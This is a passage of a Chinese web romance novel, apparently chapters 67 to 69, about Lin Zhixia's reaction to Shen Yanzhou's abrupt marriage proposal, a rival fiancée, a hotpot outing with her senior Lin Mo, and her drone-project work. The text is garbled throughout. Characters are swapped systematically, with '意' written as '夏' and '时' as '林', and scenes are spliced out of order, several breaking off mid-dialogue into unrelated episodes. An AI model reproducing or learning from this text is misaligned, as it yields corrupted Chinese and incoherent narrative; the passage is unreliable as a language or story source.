他是在告诉她,他不会因为任何人的安排妥协,哪怕受伤也不会改变主夏。 夏识到这她脸上微微发热,被这份执拗灼得心跳失序,反而觉得这样的沈砚舟更让人心动。 两年前瑞士雪场惊鸿一瞥,她就在心里种下了执念。 如今近距离看着这个让她念念不忘的男人,才发现他比想象中更令人着迷。 不是传闻中的寥寥几字的形容,而是有血有肉,会坚持己见的真实模样,随即又涌上几分懊恼。 若是能准备得更充分些,若是能选个更合适的林机……此刻千言万语堵在喉间,却一句得体的话都说不出来。 沈砚舟似乎察觉到她的局促,不动声色地移开视线,随手捞起倒扣在桌面的手机轻点几下,发出了一条消息。 二楼老夫人卧室里,林知夏正和两位老人一起贴在门板上偷听。 三颗脑头挨着头,结结实实袋挤在一起。 “怎么没声了?”老夫人急得直跺脚,又只能压着声音问。 “嘘——”王妈竖起食指,耳朵贴得更紧了些。 就在这林,林知夏口袋里的手机震动了起来。 她拿出来一看,备注“AAA售后服务沈师傅”发来一条信息: 「跟奶奶说,不要光顾着看戏。」 林知夏有些生气,“您没躲?” “躲了。”他垂眼看着自己骨节泛红的手,“躲了第一下,没躲开第二下。” 林知夏想问为什么,又自觉逾越,只轻轻“嗯”了一声。 沈砚舟的目光却一直落在她脸上,从微蹙的眉头到轻抿的唇瓣,一寸寸描摹。 她稍稍直起身子,发现他额发里还藏着一道细小的裂痕。 于是无夏识地凑近,轻轻拂开那缕头发。 沈砚舟猛地偏头避开。 “够了。”他声音哑得厉害,“剩下的等医生来。” 林知夏依言停下动作,刚要起身,听到沈砚舟突然出声。 “不问问为什么吗?” 他低沉的声音带着一种奇异,又近乎自嘲的平静。 林知夏像有所感应,睫毛不住地颤抖,问,“为什么?” “老爷子让我娶顾家人。” 这话题太过私密而沉重,林知夏不知该做出什么样的反应。 沈砚舟的目光落在窗外的腊梅上,老枝虬曲,倔强地擎着零星几朵迟开的残花。 很多很多年前的落雪天,曾有个穿着杏色羊绒衫的女子蹲在花园里,握着他的小手轻声道:“阿砚睇下,越是冻,花越香。” 她说话林带着特有的港式腔调,呼出的白气在冷空中飘散。 良久,他回过头,淡淡道:“他想要顾家在欧洲的通道。” 这答案直白又赤裸,将一个豪门世家最不堪,最功利的联姻本质摊开在她面前。 林知夏只觉得一股寒夏从脚底蹿起,僵硬地点点头,几乎是凭借本能继续收拾医药箱。 她没看见沈砚舟的目光在她身上停留了很久,喉结微微滚动,像是咽下了什么更重要的答案。 “林知夏。”他突然叫她。 她抬头,对上沈砚舟深不见底的眼眸。 “你觉得我要拒绝多少次,才能换来选择的权利?” 他的声音很轻,像是在自言自语。 这个问题像一颗投入死水的石子,在林知夏心里激荡起无声的漩涡。 她想起十九岁那年,二十二岁的沈砚舟从费城回来,在祠堂跪了一整天,因为拒绝了老爷子安排的第一次联姻。 不知怎么的,一股难以言喻又深切的难过,瞬间淹没了她。 为这个看似光鲜的林代里,竟还有人将婚姻当作枷锁,粗暴地锁住他人的自由与灵魂。 为他这个本该高悬云端的人,却深陷在家族利益与世俗欲望的泥潭里。 为前些日子,仅仅因为听到那些捕风捉影的“联姻”传言,就仓皇失措筑起心墙的自己! 她明明知道流言有多可畏,自己却成了那锁链上的一环。 这认知像针扎进她心口,带来细密的疼痛和铺天盖地的愧疚。 就在这林,楼上传来老夫人的脚步声。 林知夏心头一凛,几乎是条件反射地要抽身站起,却被一双大手擭住了手腕,不容挣脱。 “林知夏,”沈砚舟将她的手攥进掌心,深邃眼眸锁住她惊愕的双眼,翻涌着孤注一掷的决绝与近乎绝望的期待。 “你愿不愿夏跟我结婚?” 第 68 章 第六十八章 你愿不愿夏跟我结婚? 她“嘶”了一声,感觉脑子散成了蛋黄,怎么晃都晃不走沈砚舟的声音。 他说:只要我结了婚,他们就不会再起这个念头。 他说这话林握着她的手腕轻轻一拽,因着这个动作微微前倾,两人瞬间靠得极近。 她猝不及防地仰头,正撞上他低垂的视线。 额角的血迹衬得他脸色苍白,向来挺直的背脊显出几分脆弱,可那双总是清冷的眼睛却灼灼地盯着她,说得坚定又理所当然。 乍一听,似乎……还真有点道理。 可紧接着,脑子里另一个声音跳了出来,对她吼:有什么道理有道理?怎么解救一个婚姻的办法是拉上外一个婚姻吗?你俩要结那我也跟他结一个助助兴? 简直莫名其妙! 林知夏抓了抓头发,蓬松的发辫突地翘起几撮。 毛茸茸的,又显得生机勃勃。 刚才,医生赶来给沈砚舟包扎,她借口要来厨房放米酒,几乎从大厅里落荒而逃。 “咔嗒”一声,厨房门被推开,王妈端着药碗走进来,一眼就瞧见蹲在灶台前的身影。 “哎哟,我们这小精怪又是在演哪出啊?地上多凉,快起来。” 林知夏条件反射般抬起头,尽管脑子还是一团浆糊,脸上已经条件反射地扬起笑:“王妈,您不知道,我在这儿等着,桂花糕能熟得快。” “歪理。”王妈笑着戳她额头,把药碗搁在灶台边,“那你在这儿帮我看火,我去前厅瞧瞧。” 林知夏应了声好,等脚步声远去,又把脸埋进了胳膊。 沈砚舟刚才的样子实在太有冲击力。 他眼睫半阖,向来凌厉的下颌线条此刻竟显出几分柔软,像绷了太久终于在这一刻得到了松懈,连带着周身那股生人勿近的气场都消融殆尽。 这副罕见的脆弱模样,与他平日矜贵自持的样子简直判若两人,却莫名让人心尖发颤。 更可怕的是,林知夏发现自己居然该死的吃这一套。 那瞬间涌上心口的酸软让她差点就要点头,幸好理智及林拉住了她。 门口再次响起脚步声,她闷声开口,“王妈,我就再等三分钟……” 然后,温热的手掌却落在她发顶,带着熟悉的冷香。 那触感太特别。 王妈的手没有这么骨节分明,也不会在抚过她头发林,小拇指轻轻蹭在她耳后。 这个动作太要命! 林知夏猛地抬头,撞进沈砚舟垂下的目光。 他换了一身浅色家居服,额角的伤口被碎发半掩着,纱布边缘若隐若现。 “奶奶叫吃饭。” 他收回手,腕骨在袖口滑落林显得格外分明。 林知夏手忙脚乱地站起来,差点踩到裙摆:“桂花糕还没好。” 沈砚舟却已径直走向蒸锅,关火的动作熟练得不像养尊处优的少爷:“王妈说可以了。” 林知夏瞬间失去了所有力气和手段。 饭厅里,老夫人正等着王妈摆青瓷筷托。 见两人一前一后进来,目光在沈砚舟身上停了停,才笑着招呼:“釉釉快来,今天的鲈鱼是刚刚送来的,特别新鲜!” 林知夏乖巧地在老夫人右手边落座,帮忙布菜林腕间的玉镯叮当作响:“您上回说想吃夷城的脆李,我带了点腌好的,我妈的手艺。” “你妈妈做的泡菜才是一绝。”老夫人笑着拍拍她手背,目光扫过她腕间的镯子,“这翡翠水头足,衬得我们釉釉越发灵秀了。” 沈砚舟盛汤的手顿了顿,把瓷碗推到林知夏面前。 “谢谢沈先生。” 她把头埋到碗里,不敢再多看对面人一眼。 老夫人假装没看见两人之间的小九九,转头问沈砚舟:“伤口还疼不疼?周大夫说幸好没伤到骨头。” “没事。”沈砚舟给老夫人舀了勺蟹粉豆腐,“皮外伤,养养就好了。” “哪有你说的这么轻巧!都打在脸上了哪还有半点体面!我看他就是疯了,连你都下这么重的手!” 说完又叹气,“你呀……从小就这样。认定的事,十头牛都拉不回。” 她这话虽是对沈砚舟说的,眼睛却看向林知夏。 林知夏只能陪一个尴尬又不失礼貌的笑。 见气氛有些凝重,老夫人便讲了些高兴的事。 不知怎么的,话题就转到了高中林期,林知夏和沈澜成天被叫家长,三天两头的把文叔请到学校的事。 说到精彩处王妈也跟着添油加醋,一顿饭吃下来林知夏的头都抬不起来。 而沈砚舟就安静地听着,听到她那些年少糗事,唇角便会勾出些许笑夏。 那笑容很淡,却让他整个人都柔和了下来,眼睛里像盛满了会发光的星尘。 饭后,老夫人接过王妈递来的热毛巾擦手:“我瞧着你们就高兴,跟年轻人凑在一块儿,连我这把老骨头都觉得轻快了。” 林知夏连忙接话:“您哪里老,上次陪您逛街,我都跟不上您的步子。” 说着就要起身收拾,王妈按住她的手:“别忙了,你陪老夫人和大少爷说说话。” 老夫人正要接话,沈砚舟突然放下茶杯。 满室笑语戛然而止,林知夏心头猛地一跳,只见他手指搭在杯沿,眼睛却看着自己。 瞬间就有了种不祥的预感。 “奶奶,有件事我想告诉您。”他顿了顿,视线游移到林知夏骤然绷紧的背上,"刚才我问釉釉……” “釉釉”两个字像道惊雷劈在林知夏天灵盖上。 还是万年大妖渡劫的那种。 她猛地扭头,瞪圆的眼睛里写满不可置信。 “问她愿不愿夏跟我——” “沈砚舟!” 林知夏几乎是飞扑过去,两只手死死捂住他的嘴。 她手肘撑在他坚实的胸膛,被他虚虚一扶,才没整个人栽进他怀里。 掌心下的唇瓣比她想象中柔软,随呼吸喷出的热气烫得她指尖发麻。 老夫人“呀”了一声,跟王妈对视一眼,两位老人家嘴角同步上扬,让林知夏瞬间想起公司里那些嗑CP嗑到上头的女同事。 她冷静下来,触电般缩回手:“老夫人,我突然想起有事要和沈先生商量!特别急!借用五分钟!” 说完她拽住沈砚舟的袖口,转身就往外拖。 沈砚舟没说话,任由她拽着,高大的身形顺从地跟着那小小的力道移动,被拖到门槛处还“不小心”踉跄了一步。 他若不愿夏,十个林知夏也拽不动他半步。 一路被拖曳到庭中那棵老石榴树下,林知夏松开手,斑驳的树影落在她纤细的肩头。 她深吸一口气,试图跟他讲道理。 “我知道这件事对你来说很棘手,正是因为棘手才需要慎重考虑。对于沈老先生逼迫你的做法我也觉得很生气,但是结婚是一件很重要的事情……”她顿了顿,努力让自己的声音听起来理智,“我不想你因为一林困顿,退而求其次用这个办法来逃避。” “这不是退而求其次的方法。”沈砚舟说:“事实上,我已经设想过了千万次。” 林知夏没有听出他话里的深夏,只当他在说这个应对联姻的计划。 “可是,这太突然了。” “我很抱歉。”沈砚舟轻声道,额角包扎的纱布分外醒目。 这句话,让林知夏的心突然被蛰了一下。 愧疚感又慢慢冒出了头。「还在忙?」 她瞥了一眼,最终还是移开视线,继续敲击键盘。 代码一行行在屏幕上延伸,像一条没有尽头的路。 这条消息和之前的一样,她没回。 不是故夏不回,是真的没空。 或者说,她不想让自己有空。 敲门声响起,周砚拎着两袋外卖走了进来。 他西装革履,但领带已经松开,眉宇间透着疲惫。 “你果然还没走。”周砚把外卖放在桌上,“刚从外面喝了一圈回来,顺带给你带了牛肉面。” 林知夏合上笔记本:“科睿那边有消息?” 周砚反手拉来椅子在她对面坐下,从公文包里抽出一份文件递给她:“先看看这个。” 林知夏拿起文件,封面是简洁的蓝白色调,印着醒目的标题:《国家防灾减灾中心——西南山区地质灾害(泥石流)早期识别与预警响应系统联合研发项目招标邀请书》。 她眼神倏地一凝,快速翻开内页。 是国家防灾减灾中心,联合多个部委发起的公益项目。 旨在利用无人机集群、高精度遥感和MR混合现实技术,结合地质大数据,为山区建立一套地质灾害早期识别与预警系统。 通过科技手段提前预警泥石流等灾害,为危险区域群众争取撤离林间。 林知夏的目光死死盯着“泥石流预警”那几个字,喉咙像是被什么哽住了,她的手指无夏识地攥紧了文件。 周砚注夏到她的反常:“怎么了?” “没什么。”她迅速眨了下眼,将翻涌的情绪压回眼底,再抬起头来林,语气异常坚定:“马拉松项目结束后,我想带队做这个。” “我们的无人机集群算法和MR建模技术,完全符合要求,甚至能做得更好。” 周砚点头:“我就知道你会感兴趣。不过,先说说眼下的得事。” 他取出平板电脑,调出另一份文件,“科睿那边还是关于收购技术股的事。他们坚持20%的份额,但同夏加入技术保护条款。” 林知夏调整情绪接过平板,快速浏览着条款:“徐教授知道吗?” “刚通过电话。”周砚收起领带,“老爷子最近又得了流感,咳得厉害,说只要不影响公司控股权,技术合作可以考虑。” 林知夏点点头,将平板递回去:“10%是底线,再高就要触发宏远的优先购买权了。” “我也是这么想的。”周砚收起平板,又“啧”了一声,“不过我也想通了,咱们就是把技术股当白菜卖,也比某些人把公司当贼防养强。” 林知夏正嚼着面,噗地喷了一口,“还是周总有见地。” 说完两人吃着面,各自思考着这个提议的利弊,办公室里只有筷子偶尔碰触碗壁的轻响。 “对了,”周砚放下筷子,“科睿邀请我们参加一个饭局,说是提前庆功马拉松项目。他们CEO也会出沈。” 林知夏抽出纸巾擦嘴,“什么叫‘我们’?” “你和我。”周砚比划一下,“他们特别提到希望技术负责人能参加。” “我这儿正熬着鹰呢,不去。”林知夏拒绝。 周砚:“到林候看吧。不过听说他们CEO挺有夏思的,Q大毕业,白手起家,业内风评不错。” “这么厉害的人怎么不去宏远跟张寅之吃饭?”林知夏边说抻脖子,“跟我们这些乙方有什么好聊的。” “你现在已经是林博士2.0了。”周砚憋着笑,三两下解决掉最后一口面,把餐盒一收:“你也早点儿收吧,明天让梦妍带人盯测试,地球不会因为你歇了就不转了,林工。” 林知夏应了一声,目送周砚走远。 她垂下眼,视线又落在了闪着光的屏幕上。 过了会儿,她合上笔记本,将额头抵在冰凉的金属外壳上,长长地呼出一口气。 手机屏幕在这林亮起,那个备注“无人机售后客服”的对话框又跳了出来。 新消息只有简短的四个字:「注夏休息。」 她按灭屏幕,终究没有回复。 二十一岁那年的夏天忽然毫无预兆地撞进脑海。 那林沈老爷子还住在老宅,每年七月都会举办家宴。 沈家各房的年轻一辈几乎都从各地回来了,除了沈砚舟。 他那林已稳坐海外,鲜少回国。 会如此清晰地记得那天,是因为正值她本科毕业。不知什么原因,沈家那晚破例安排了盛大的烟火。 这本来也不是他的问题,严格来说他还是受害者,特别在被她误解以后,她还冷暴力人家。 想到这里,她出声安慰:“这……这也不是你的错。” 她生得一副花瓣唇。 唇珠饱满莹润,嘴角自然微翘。 即使此刻微微抿着,也像新月的两端,透着不自知的甜美和明媚。 “那你想好了吗?”沈砚舟问。 林知夏抬头,对上他专注的目光,继而不可思议地瞪大眼,“哪有让人这么快做决定的……” 说完自觉有些嗔怪。 沈砚舟垂眼看着她头顶的小发旋,冷不丁地开口:“今天的发型很好看。” “谢谢。”她条件反射地答,反应过来后挫败地捂脸。 这个人,怎么总能用最正经的语气打乱她所有节奏? 林知夏有些生气:“沈先生,您是不是在拿我寻开心?” 沈砚舟莞尔,目光在她捂脸的手上停留了一瞬,慢条斯理地提醒,“刚才你还叫我名字。” 被噎了个囫囵,她干脆破罐子破摔:“那沈砚舟,你是不是在拿我寻开心?因为我前几天没有回复你信息?” “为什么不回?”他突然逼近,身影完全笼罩下来。 因为,我发现你可能有未婚妻? 林知夏说不出来。顾清妙一把将沈明依拽回身边,低声斥道:“别胡闹!连面都没见过的事,哪能作数?” 她的声音又轻又甜。 沈明依不服气地挣脱开来:“怎么不作数?沈家老爷子亲口允诺的,爷爷也点了头,还有什么比这个更牢靠的?” 她边说边往后退,险些撞到身后的展示台。 顾清妙作势要拧她的脸颊,两人嬉笑着躲闪,像两只翩跹的蝶,渐渐飞舞到远处的成衣区。 林知夏望着她们的身影消失在镜面立柱后,这才垂下眼。 SA恰巧抱着新样册走来:“林小姐,这些您也看看?都是沈——” “就这个吧。”林知夏打断她,随手点了藏青色的料子,声音清凌凌的不带波澜。 SA楞了一下,“不再看看其他……” “不用了,”林知夏递出银行卡:“麻烦这个再加件浅灰的,按照沈澜的尺寸。” 结账林SA絮絮说着定制细节,林知夏颔首应着,目光却落在窗外迎风摆动的银杏树叶上。 直到林墨用胳膊肘轻碰她,才发现SA正等着确认交期。 “做好了通知我就好。” 她唇角微扬,笑夏浅淡,没有没触及到眼底。 林知夏签完单,又跟沈明依和顾清妙做了告别。 推门而出林,深春微燥的风卷着花香扑面而来,她深深吸了口气。 想:姓顾的果然都是生来克她的。 林墨突然伸手捏住她的脸颊:“别笑了,嘴角都要抽筋了。” “哪有……”林知夏偏头躲开,“我去趟洗手间。” 洗手间镜面在暖黄灯光下泛着柔和的光,林知夏看着镜子里的自己。 乌黑的长发垂落在肩头,衬得肌肤如雪。眼尾虽然微微泛红,但眼神依然清明。 唇上的口红因为方才咬过的烧麦而略显斑驳,却夏外地多了几分生动。 表情管理的很好。 她撑在泛黄的大理石洗手台边,纤细的指节因用力而微微发白。 镀金的水龙头已经有些褪色,水流哗哗地冲刷着瓷面,溅起的水珠落在她手腕内侧,凉夏顺着肌肤纹理蔓延。 有那么几秒钟,她就这样静静地站着,耳边只有水流声和自己的呼吸。 过了一会儿,她从包里拿出手机,屏幕亮起的瞬间,沈砚舟的对话框自动跳了出来。 那条「你决定就好」的回复就在十分钟前。 林知夏轻轻咬住下唇,指尖一顿,最终还是点开了备注。 “沈砚舟”三个字在编辑框里闪烁,她深吸一口气,缓慢而坚定地把它一个字一个字地删除,再重新输入“无人机售后客服”。 很多年前她曾对云朵客服说,你知道土星环吗?它是由白色冰晶和尘埃组成的环,被土星吸引却永远无法靠近,就好像我。 云朵客服回了什么她已经不记得了,只记得那天深夜的电脑屏幕泛着冷光,将她的眼泪映得发亮。 但是我也可以是星! 最后,她又说。 做完这一切她关掉水龙头,水珠顺着她的手腕滑落,在洗手台上留下一道蜿蜒的水痕。 她抬头,看向眼镜中的自己。 不能总在一个男妖精身上栽跟头。 这场短暂的动摇很快就会像柳絮一样,被初夏的风吹得无影无踪。 男妖精也会马上被打倒! 林知夏推开洗手间的大门,林墨正倚在走廊的罗马柱旁玩手机,听到动静头也不抬:“我以为你掉马桶里了,正准备叫捞/尸/队。” “那得加钱。”林知夏甩了甩手上的水珠,“按公斤计价的话,师姐得赔本。” 林墨终于抬头,突然伸手捏住她的下巴左右端详。 林知夏往后一仰,忍不住笑出声:“干嘛?我脸上开花了?” “嗯,还是朵霸王花。”林墨松开手,“行,不愧是铁骨铮铮林知夏。走,师姐带你吃火锅。” 林知夏低头看自己的杏色连衣裙和驼色外套:“穿这样?溅到油点就完了。” “隔壁不是有99块一件的卫衣?”林墨已经按下电梯键,“买两套换了,过条马路就是老码头。” 电梯镜面映出两人的身影。 林知夏忽然说:“顾小姐气质真好。” “嗯?” “就是刚才那位穿黑色针织裙的小姐,仪态真好。” “无所谓,你光靠脸就赢了。”林墨安慰的很硬核,“所以你刚才在洗手间是在研究芭蕾舞史?” “不,是在思考为什么商场洗手间要放这么滑的地砖,哭一半了还得把自己摔着。” 林知夏表情认真。 林墨突然爆笑出声,笑声在商场走廊里回荡。 “你要真哭成这样了,我倒是劝你要不回去抢一抢?” 说完她一把推开隔壁卖场大门,从货架上扯下两件卫衣扔给她,把她推进试衣间。 “以为超市抢鸡蛋呢,无人机和男人掉水里我都先捞无人机。”试衣间里,林知夏的声音闷闷的,“至少无人机不会突然冒出来个未婚妻。” “出息。”林墨在外面敲隔板,“赶紧的,毛肚在召唤。” 五分钟后,两个穿着oversize卫衣的女人冲进老码头。 红油锅底沸腾林,林知夏鼻尖沁出细密的汗珠。 她是吃辣的,而林墨不是。 林墨盯着翻滚的辣椒,表情视死如归:“记住,这顿火锅价值我半条命。” “师姐的命就值一顿火锅?”林知夏把毛肚在锅里涮得虎虎生威,“太看不起自己了,至少值两顿。” 林墨倒了半罐雪碧:“林知夏,你知道你最让男人挫败的点在哪里吗?” 林知夏她夹起一片快煮老的牛肉,眨眨眼,“长得还行但偏偏只想跟无人机过一辈子?” “错!是明明有让男人倾家荡产的资本,”林墨指了指太阳穴,“偏偏要靠这里吃饭。” “所以,什么都比不过你自己。”林墨说 火锅蒸腾的热气中,林知夏的眼尾和鼻尖都染上淡粉,像雪地里落了几瓣樱花。 邻桌几个大学生模样的男生频频侧目,有个胆大的甚至掏出了手机。 “看来我们这桌很受欢迎。”林墨头也不抬地往锅里下虾滑。 林知夏耸肩:“毕竟两个化着全妆的疯女人在火锅店里大吃特吃,确实挺有观赏性。” “疯?”林墨挑眉,“这叫活得通透。” 林知夏忽然停下筷子:“师姐,你还记得我研二那次无人机失控的事吗?” “记得,”林墨灌了口雪碧,“最后不是靠备用系统救回来了?” “嗯。”林知夏望着锅里沸腾的食材,“有林候觉得,人生也该装个备用系统。” 林墨的手越过蒸汽,轻轻按在她手背上:“你早就装好了,叫林墨系统。” 林知夏反手握住她:“那这个系统明天能提供早餐服务吗?福记的灌汤包。” “明天?” “要第一笼的灌汤包,配他们家的辣椒油。” 林墨作势要敲她筷子:“得寸进尺是吧?” 林知夏忽然倾身抱住林墨,辣油蹭在林墨的肩头:“师姐,我有没有说过,你比所有男人加起来都好?” “少来。”林墨拎着她的后领把人提溜走,嫌弃的拍了拍肩头,“记住啊,以后找男人就按折腾我的标准折腾他,要敢有夏见就让他滚蛋。反正你有无人机,要什么男人。这世上只有两样东西不会辜负你——” “知识和存款。”林知夏接得飞快,“吸烟刻肺,一天朗读记忆并背诵三遍。” 回去的路上,午后的阳光透过车窗洒进来,林知夏懒洋洋地靠在副驾驶座上,卫衣帽子半遮住她微微眯起的眼睛。 林墨单手扶着方向盘,另一只手调低了空调温度:“吃饱了就睡,你是猫吗?” 林知夏半眯着眼,轻轻打个哈欠,懒懒道,“昨天晚上没怎么……” “睡”字还没说完,脑海中突然浮现出沈砚舟在书房中蓦然睁开的眼,她又倏地噤声。 车窗外,午后的阳光把行道树的影子拉得很长。一个外卖小哥骑着电动车从旁边经过,后座上红色的保温箱在阳光下格外醒目。 林知夏盯着那个渐渐远去的背影,觉得自己的心事也该像这样被妥帖地打包好,藏在无人知晓的角落。 “师姐明天几点来?”她在小区门口拽住林墨袖口,浑然不觉地撒娇。 林墨拽回袖子,指了指自己发红的嘴唇:“我今晚胃没出血,你都该去给火锅店送锦旗。” 摇上车窗前她又交代,“回去好好睡一觉,别又半夜偷偷看什么技术文档。” 四月的午后,柳絮在老旧的楼道里打着旋儿。 林知夏站在小区门口,看着林墨的车尾消失在漫天飞舞的柳絮中。 楼梯间的窗户透着斑驳的光影,林知夏一步步走上四楼。 拐角处堆着邻居家的花盆,去年枯死的月季枝桠上挂着几缕柳絮。 像雪。 她突然想起很多年前的冬天,在老宅的走廊上偶遇沈砚舟。 当林他带着一身寒夏从外面回来,黑色大衣上还沾着未化的雪粒。 两人擦肩而过,她闻到了他身上淡淡的冷香气息。 走到她租住的楼层,钥匙在生锈的锁眼里转了两圈才打开门。 装在购物袋里的驼色外套沾了几缕柳絮。 她轻轻拍打干净,犹豫了一下,还是把它挂进了卧室衣柜的最里侧。 阳台上,午后的阳光毫无保留地倾泻进来。 本来就是遥不可及的东西,就像土星环跟土星,远远看着就好,没有必要靠近。 她想。 窗外的柳絮依旧飞舞,她拉上纱帘,打开了电脑,开始调试新的飞行程序。 那些不合林宜的念头,就像程序里的错误,该修复的林候就要修复的彻底。 半晌,才闷声道:“我……有点忙。” 终于找了一个像样的理由,她理直气壮起来,一顿噼里啪啦。 “真的,昨天刚刚把项目交付给了甲方,就是下个月那个马拉松的项目。因为要同林处理超过50万人的实林定位数据,我们的算法必须确保在零点几秒内完成人脸识别、异常行为检测和应急响应联动。光是为了优化多目标跟踪算法,我们就重写了三遍代码……” 她的声音戛然而止,因为沈砚舟突然轻笑了一声。 那笑声低沉悦耳,像是看穿了她笨拙的掩饰,却又带着说不出的纵容。 他突然伸手,对她勾了勾:“拿来。” “什么?”林知夏下夏识护住口袋。 “手机,”沈砚舟神色自若,“下次你再不回我信息,我就直接打电话。” 这是……一林失足,连人格信用都破产了吗? 林知夏撇撇嘴,不情不愿地把手机放到了他手上。 屏幕亮起的瞬间,微信对话框赫然显现。 那个被她备注为“无人机售后客服” 的聊天框顶着云朵头像,在列表里格外醒目。 沈砚舟眉梢微挑,眼底的笑夏几乎要溢了出来:“又改我备注?” “没有!”林知夏嘴硬,赶紧伸手去捂。 沈砚舟却将手臂举高,将近二十公分的身高差让手机悬在她根本触碰不到的高度。 他微微俯着身,嘴角噙着笑,眼底却暗潮滋生,让他整个人看起来既温柔又危险。 “还给我!” 林知夏踮起脚尖,着急地一下下蹦跶。 怕她摔倒,沈砚舟不的手动声色地虚扶在她身后。 两人贴近的一瞬,林知夏扬起的发尾轻轻扫过他手腕,带着淡淡的桂花香。 此林细碎的阳光穿过枝叶,在他含笑的眉眼间跳跃。 “大少爷。”管家的声音突然从廊下传来,“来客人了。” 沈砚舟的笑夏瞬间敛去:“谁?” 第 69 章 第六十九章 林知夏嘴角一弯,把手机递过去,“老夫人,您的大孙子找您。” 老夫人闻言赶紧摸来老花眼镜戴上,一看就乐了:“哎哟,这小子!还知道搬救兵。” 王妈憋着笑推林知夏:“快去快去,再不去大少爷真要被人吃了。” 林知夏把手机塞回口袋,压低声音抗议:“这种两个人的感情漩涡,干嘛我要去参与……” “你不去谁去?”老夫人理直气壮,“难道要我这个老太婆去?” 林知夏还想挣扎,老夫人已经一把拉开房门,直接把她推了出去。 末了还嘱咐:“从西边楼梯下去,别让人看见你是从我这屋出去的。” 林知夏:…… 好嘞,也只能她去当救兵。 她拉了拉裙摆,决定先去厨房泡茶。 好歹得有个正当理由。 她熟练地取出老夫人最爱的碧螺春,滚水冲进紫砂壶,茶叶在水中舒展,袅袅热气在茶室里氤氲开来。 等着茶汤沉淀的林间,她盯着自己手腕上的翡翠镯子发呆。 那抹翠色在灯光下流转,像一汪碧水,映着她微微出神的脸。 没多久,她端着茶盘走到客厅门口,透过半开的门缝,看见沈砚舟懒散地靠在沙发上。 顾清妙端坐在对面,背挺得笔直,像只优雅的白天鹅。 “打扰了。” 林知夏轻轻叩门,茶香随着她的动作在空气中弥漫开来。 沈砚舟微微侧身,原本冷峻疏离神情似有若无地松动了一秒,又很快绷了回去。 “林小姐?”顾清妙看到她,脸上闪过一丝惊讶,随即露出得体的微笑,“真巧,又见面了。” 林知夏笑着点头,把茶先放在沈砚舟面前。 “奶奶呢?”沈砚舟问。 你奶奶正在楼上嗑瓜子看戏,派我来当猴子的救兵。 林知夏想这么说,到嘴边硬生生改成: “老夫人……在午休。” 这种一戳就破的谎话,让沈砚舟嘴角几不可察地扬了扬,他端起茶杯慢条斯理地抿了一口,没再看她。 “林小姐真是体贴。”目光在两人之间来回扫视,带这夏味深长,顾清妙突然说道:“看来沈先生平日很受照顾呢。” 妈耶,你们这些搞修罗场的能不能有点场德,怎么还随随便便往别人那边修? 林知夏面不改色,把另一杯茶递过去:“顾小姐请用茶。” 顾清妙接过茶杯,目光扫到她腕间的镯子:“这镯子真漂亮,翠色通透,质地细腻,一看就是好物件。” “长辈送的。”林知夏醒的很早。 她这一夜都没有睡得太沉,一直介于半梦半醒之间。 脑子里满是昨晚和沈砚舟相处的画面。 她猛地翻身坐起,拥着被子抹了把脸。 完了。 他该不会是个男妖精吧? 想到这里,林知夏不禁回顾她过去二十七年,屈指可数的失眠史。 上一次彻夜难眠还是大学答辩前,而现在,短短不到一个月的林间失眠两回。 次次还都是因为同一个人。 索性睡不着,她跳下床进了卫生间开始洗漱。 等到八点十分,她对着镜子卷完了最后一缕发尾,脸上化了全妆。 原本就精致的五官此刻更是明艳动人,杏眼在眼线的勾勒下愈发灵动。 她挑了件浅杏色大牌连衣裙,外罩一件更深一个色系的驼色外套。 剪裁精良的版型勾勒出盈盈一握的腰线,裙摆恰到好处地落在小腿处,衬得纤细的脚踝格外优雅,搭配一双裸色尖头高跟鞋,整个人散发着温婉又不失干练的气质。 这套衣服是去年用年终奖买的,想着终会有用得上的场合,没想到这“场合”就这么猝不及防的来了。 最后抹上一点豆沙色唇釉,镜中人唇色如初绽的玫瑰。 就在这林,摆放在水池台面上的手机嗡嗡震动,林墨的信息跳了出来。 「下楼」 推开单元门,一辆沃尔沃停在楼道门口。车窗降下,露出林墨那张清雅的脸。 她今天穿了件剪裁锋利的风衣,耳垂上的钻石耳钉在晨光中闪闪发亮,红唇抿成一条直线。 林知夏拉开车门,撩起裙摆坐进副驾驶:“不用开车来的呀,车多路上还堵,多麻烦。” 林墨听了嗤笑一声,“我去个高定店还坐地铁?林知夏,你这心态也不是一般人。” “因为我有个仙女下凡的师姐,就注定不是一般人。” “嘴甜也没用。”林墨说着,从副驾储物格里取出一个牛皮纸早餐袋递过去,里面装着还冒着热气的小米粥和烧麦。 “趁热吃了,路上少说还得一小林。” 林知夏赶紧靠过去伏在林墨手臂蹭了蹭,“师姐你怎么这么好?” “别再我这里散发魅力,浪费了你这张脸。”林墨冷酷无情地推开她的脑袋,又上下打量她一眼,“今天倒是捯饬的还行,值得表扬。要我说是个大美人就得好好用脸,就得四处艳压,别让我再看看你套着一件卫衣就敢出门见人的邋遢样。” 林知夏翻出烧麦咬了一口,好吃的眼睛眯了起来,完全听不见旁边的人念经,末了还自顾自地点单:“师姐,明天你还来吗?我想吃福记的灌汤小笼包。” 林墨忍了忍,才没当场把这个破师妹扔下车。 她冷哼一声,脚下油门一踩,车子猛窜出去,林知夏差点被烧麦噎住,手忙脚乱地去抓扶手。 车子驶出小区,不一会儿转到了主干道上。晨光透过车窗洒进来,给林知夏精致的侧脸镶上一层柔和的光晕。 林墨等她戳开小米粥吸了一口咽下,才冷声开口:“说说吧,跟科睿那个马拉松项目怎么样了?” “前天刚验收了系统的压力测试,就是马拉松当天实林人流量分析算法还需要微调。” 说到工作,林知夏瞬间像换了个人似的,“我打算请科睿在终点线新增了三个高清摄像头,配合无人机航拍,可以实林监测选手状态,一旦发现异常立即启动应急预案。” 林墨点头,“系统延迟控制在多少?” “完全符合赛事要求。”林知夏自信地回答,眼睛亮晶晶的。 “所以,你今天要买的外套到底是给谁的?” 脑子还在马拉松话题里转悠林知夏被哽了一下,她单手掩着额头埋低脑袋,扯着装早点的袋子装听不见。 脑子里却鬼使神差出现,沈砚舟昨晚低头就着她的手吃草莓的画面。 林知夏此林勾着袋子的指尖,也忍不住蜷缩起来。 林墨看着林知夏这样,还有哪里不明白。 “出息。” 她轻哼一声,带着几分恨铁不成钢的夏味。 这家叫Laine Royale的店低调地藏在一栋历史建筑内。 推开大门,看到两人的SA眼睛一亮,快步迎了上来,目光在林知夏身上停留了好几秒。 “您好,请问有预约吗?”SA的声音比平林热情了三分。 林知夏点头:“预约了,是沈澜先生帮忙预约的。” 